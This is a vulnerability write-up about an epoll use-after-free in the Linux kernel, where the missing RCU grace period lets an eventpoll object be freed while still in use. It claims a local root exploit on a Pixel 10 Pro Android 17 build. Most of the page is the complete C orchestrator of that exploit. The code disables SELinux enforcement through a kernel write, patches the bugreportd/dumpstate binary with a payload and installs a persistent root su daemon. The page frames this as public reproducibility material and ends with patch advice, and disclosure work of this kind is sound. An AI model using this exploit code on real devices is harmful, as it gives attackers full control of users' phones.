Summary
Linux epoll keeps links between watched files and an eventpoll object. In this bug, one of those links could remain visible to a concurrent RCU reader after the associated eventpoll reached its final reference.
The cleanup path freed the object immediately. A thread performing the epoll loop-depth check could therefore continue through the old link and access memory that no longer belonged to the eventpoll object.
Why it mattered
An ordinary local process can create nested epoll descriptors, close them, and repeatedly drive the race from its own threads. A successful race turns a normal lifetime mismatch into kernel memory corruption.
CyberMeowfia validates the issue as a local privilege escalation on a Pixel 10 Pro running the July 2026 Android 17 build. The repository reports a success rate above 80% on that exact target.
The issue has been fixed. The affected-build description here does not imply that a Pixel or Linux system carrying its vendor’s current security updates remains vulnerable.
What went wrong
ep_free() could call kfree() for a struct eventpoll while an epitem referring to it was still visible under RCU. At the same time, ep_get_upwards_depth_proc() could obtain the freed object from that epitem and read or update its fields.
The missing RCU grace period was the key lifetime error: removing the final normal reference was not enough to prove that every lockless reader had finished.
Exploit
Because the vulnerability and its fix are public, the exploit orchestrator is included here for reproducibility. The preview starts at main() and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; the remaining C files, assembly, headers, and build instructions stay in the linked CyberMeowfia directory.
int main(int argc, char **argv){ const size_t carrier_size = blob_size(dumpstate_payload_start, dumpstate_payload_end); struct utsname uts; struct stat challenge_stat; struct stat socket_stat; struct stat su_stat; struct timespec now; char fingerprint[PROP_VALUE_MAX] = {0}; char challenge_token[64]; char command[1024]; char warm; char *challenge; char *initial_context;
#include "common.h"
#include "target.h"
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/system_properties.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <time.h>
#include <unistd.h>
enum {
PROOF_TIMEOUT_SECONDS = 90,
};
static const unsigned char carrier_preimage[] = {
0x1d, 0x00, 0x80, 0xd2, 0x1e, 0x00, 0x80, 0xd2,
0xe0, 0x03, 0x00, 0x91, 0x04, 0x00, 0x00, 0x14,
};
static size_t blob_size(const unsigned char *start,
const unsigned char *end)
{
return (size_t)(end - start);
}
static pid_t trigger_carrier(void)
{
pid_t pid = fork();
if (pid != 0)
return pid;
setsid();
execl("/system/bin/setprop", "setprop", "ctl.start",
TARGET_CARRIER_SERVICE, (char *)NULL);
_exit(127);
}
int main(int argc, char **argv)
{
const size_t carrier_size = blob_size(dumpstate_payload_start,
dumpstate_payload_end);
struct utsname uts;
struct stat challenge_stat;
struct stat socket_stat;
struct stat su_stat;
struct timespec now;
char fingerprint[PROP_VALUE_MAX] = {0};
char challenge_token[64];
char command[1024];
char warm;
char *challenge;
char *initial_context;
char *su_output;
pid_t trigger;
int fingerprint_length;
int initial_enforcing;
int su_status;
int pass;
int fd;
if (argc >= 2 && strcmp(argv[1], "--daemon") == 0)
return su_daemon_main(argv[0]);
if (access(TARGET_SU_SOCKET, F_OK) == 0 &&
process_running(TARGET_SU_PATH))
return su_client_main(argc, argv);
if (argc != 1) {
fprintf(stderr, "root daemon is not running; invoke without arguments first\n");
return 2;
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
orchestrator_init();
initial_enforcing = selinux_enforcing();
initial_context = read_file("/proc/self/attr/current");
if (initial_context)
initial_context[strcspn(initial_context, "\r\n")] = 0;
uname(&uts);
fingerprint_length = __system_property_get("ro.build.fingerprint",
fingerprint);
printf("ENV uid=%u gid=%u context=%s page_size=%ld selinux=%s "
"uname=%s %s %s %s\n",
getuid(), getgid(),
initial_context ? initial_context : "<missing>",
sysconf(_SC_PAGESIZE),
initial_enforcing == 1 ? "Enforcing" : "not-Enforcing",
uts.sysname, uts.release, uts.version, uts.machine);
printf("ENV fingerprint=%s\n",
fingerprint_length > 0 ? fingerprint : "<missing>");
printf("ENV carrier=%s service=%s payload_size=%zu\n",
TARGET_CARRIER_PATH, TARGET_CARRIER_SERVICE, carrier_size);
printf("ENV su_path=%s su_socket=%s\n",
TARGET_SU_PATH, TARGET_SU_SOCKET);
if (getuid() != 2000 || sysconf(_SC_PAGESIZE) != EXPLOIT_PAGE_SIZE ||
initial_enforcing != 1 || !initial_context ||
strcmp(initial_context, "u:r:shell:s0") != 0) {
free(initial_context);
printf("RESULT FAIL initial_environment\n");
return 1;
}
free(initial_context);
if (strcmp(uts.sysname, "Linux") != 0 ||
strcmp(uts.release, TARGET_RELEASE) != 0 ||
strcmp(uts.version, TARGET_VERSION) != 0 ||
strcmp(uts.machine, "aarch64") != 0 || fingerprint_length <= 0 ||
strcmp(fingerprint, TARGET_FINGERPRINT) != 0) {
printf("RESULT FAIL target_profile\n");
return 1;
}
if (carrier_size != 78) {
printf("RESULT FAIL payload_layout\n");
return 1;
}
if (process_running(TARGET_CARRIER_PATH)) {
printf("RESULT FAIL carrier_not_cold\n");
return 1;
}
if (process_running(TARGET_SU_PATH) ||
access(TARGET_SU_SOCKET, F_OK) == 0 ||
access(TARGET_ROOT_CHALLENGE, F_OK) == 0) {
printf("RESULT FAIL stale_root_state\n");
return 1;
}
if (su_install_self(TARGET_SU_PATH) != 0) {
printf("RESULT FAIL su_install errno=%d\n", errno);
return 1;
}
printf("STAGE selinux_zero target=0x%016llx\n",
(unsigned long long)TARGET_SELINUX_ENFORCING_ALIAS);
if (zero_selinux(TARGET_SELINUX_ENFORCING_ALIAS) != 0) {
printf("RESULT FAIL selinux_zero\n");
return 1;
}
printf("SELINUX_AFTER Permissive\n");
fd = open(TARGET_CARRIER_PATH, O_RDONLY | O_CLOEXEC);
if (fd < 0 || pread(fd, &warm, 1, 0) != 1) {
if (fd >= 0)
close(fd);
printf("RESULT FAIL carrier_page_in errno=%d\n", errno);
return 1;
}
close(fd);
printf("STAGE carrier_patch start\n");
if (patch_retry("carrier", TARGET_CARRIER_PATH,
TARGET_CARRIER_PATCH_OFFSET,
dumpstate_payload_start, carrier_size,
carrier_preimage, sizeof(carrier_preimage)) != 0)
return 1;
printf("STAGE carrier_trigger ctl.start=%s\n", TARGET_CARRIER_SERVICE);
trigger = trigger_carrier();
if (trigger < 0) {
printf("RESULT FAIL trigger_fork\n");
return 1;
}
for (int i = 0; i < PROOF_TIMEOUT_SECONDS * 10; i++) {
if (access(TARGET_SU_SOCKET, F_OK) == 0 &&
process_running(TARGET_SU_PATH))
break;
usleep(100000);
}
if (trigger > 0) {
kill(trigger, SIGTERM);
(void)wait_child(trigger, 2, false);
}
clock_gettime(CLOCK_MONOTONIC, &now);
snprintf(challenge_token, sizeof(challenge_token), "%08x%08lx%08lx",
(unsigned int)getpid(), (unsigned long)now.tv_sec,
(unsigned long)now.tv_nsec);
snprintf(command, sizeof(command),
"umask 022; p=%s; rm -f \"$p\"; "
"printf '%%s\\n' '%s' >\"$p\"; chown 0:0 \"$p\"; "
"chmod 0644 \"$p\"; id; id -Z; getenforce; "
"cat /proc/$$/status",
TARGET_ROOT_CHALLENGE, challenge_token);
su_output = su_run_command(command, &su_status);
challenge = read_file(TARGET_ROOT_CHALLENGE);
memset(&challenge_stat, 0, sizeof(challenge_stat));
memset(&socket_stat, 0, sizeof(socket_stat));
memset(&su_stat, 0, sizeof(su_stat));
(void)lstat(TARGET_ROOT_CHALLENGE, &challenge_stat);
(void)lstat(TARGET_SU_SOCKET, &socket_stat);
(void)lstat(TARGET_SU_PATH, &su_stat);
printf("SU_PROOF\n%s\n", su_output ? su_output : "<missing>");
printf("SU_METADATA binary_uid=%u binary_gid=%u binary_mode=%04o "
"socket_uid=%u socket_gid=%u socket_mode=%04o "
"challenge_uid=%u challenge_gid=%u challenge_mode=%04o "
"challenge=%s\n",
su_stat.st_uid, su_stat.st_gid, su_stat.st_mode & 07777,
socket_stat.st_uid, socket_stat.st_gid,
socket_stat.st_mode & 07777,
challenge_stat.st_uid, challenge_stat.st_gid,
challenge_stat.st_mode & 07777,
challenge ? challenge : "<missing>");
pass = su_status == 0 && su_output && challenge &&
strstr(su_output, "uid=0(root)") &&
strstr(su_output, TARGET_CARRIER_CONTEXT) &&
strstr(su_output, "Permissive") &&
status_has(su_output, "CapPrm:", "000001ffffffffff") &&
status_has(su_output, "CapEff:", "000001ffffffffff") &&
status_has(su_output, "CapBnd:", "000001ffffffffff") &&
status_has(su_output, "NoNewPrivs:", "0") &&
status_has(su_output, "Seccomp:", "0") &&
strstr(challenge, challenge_token) &&
S_ISREG(challenge_stat.st_mode) &&
challenge_stat.st_uid == 0 && challenge_stat.st_gid == 0 &&
(challenge_stat.st_mode & 0777) == 0644 &&
S_ISSOCK(socket_stat.st_mode) &&
socket_stat.st_uid == 0 && socket_stat.st_gid == 2000 &&
(socket_stat.st_mode & 0777) == 0660 &&
S_ISREG(su_stat.st_mode) &&
su_stat.st_uid == 0 && su_stat.st_gid == 0 &&
(su_stat.st_mode & 0777) == 0755 &&
process_running(TARGET_SU_PATH) &&
selinux_enforcing() == 0;
free(su_output);
free(challenge);
if (!pass) {
printf("RESULT FAIL exploit\n");
return 1;
}
printf("RESULT PASS exploit uid0=1 full_caps=1 selinux=Permissive "
"carrier=bugreportd direct_daemon=1 functional_su=1 "
"kernel_side_effect=1 no_gdb=1 "
"no_rtmutex=1 no_ashmem=1\n");
return 0;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
The upstream fix defers freeing the eventpoll object until an RCU grace period has elapsed. That guarantees that readers which already reached the object through an epitem finish before its memory can be reused.
Install an Android or Linux kernel update containing the applicable stable backport. Version numbers alone are not a reliable test because vendors commonly backport security fixes without adopting the newest upstream kernel.
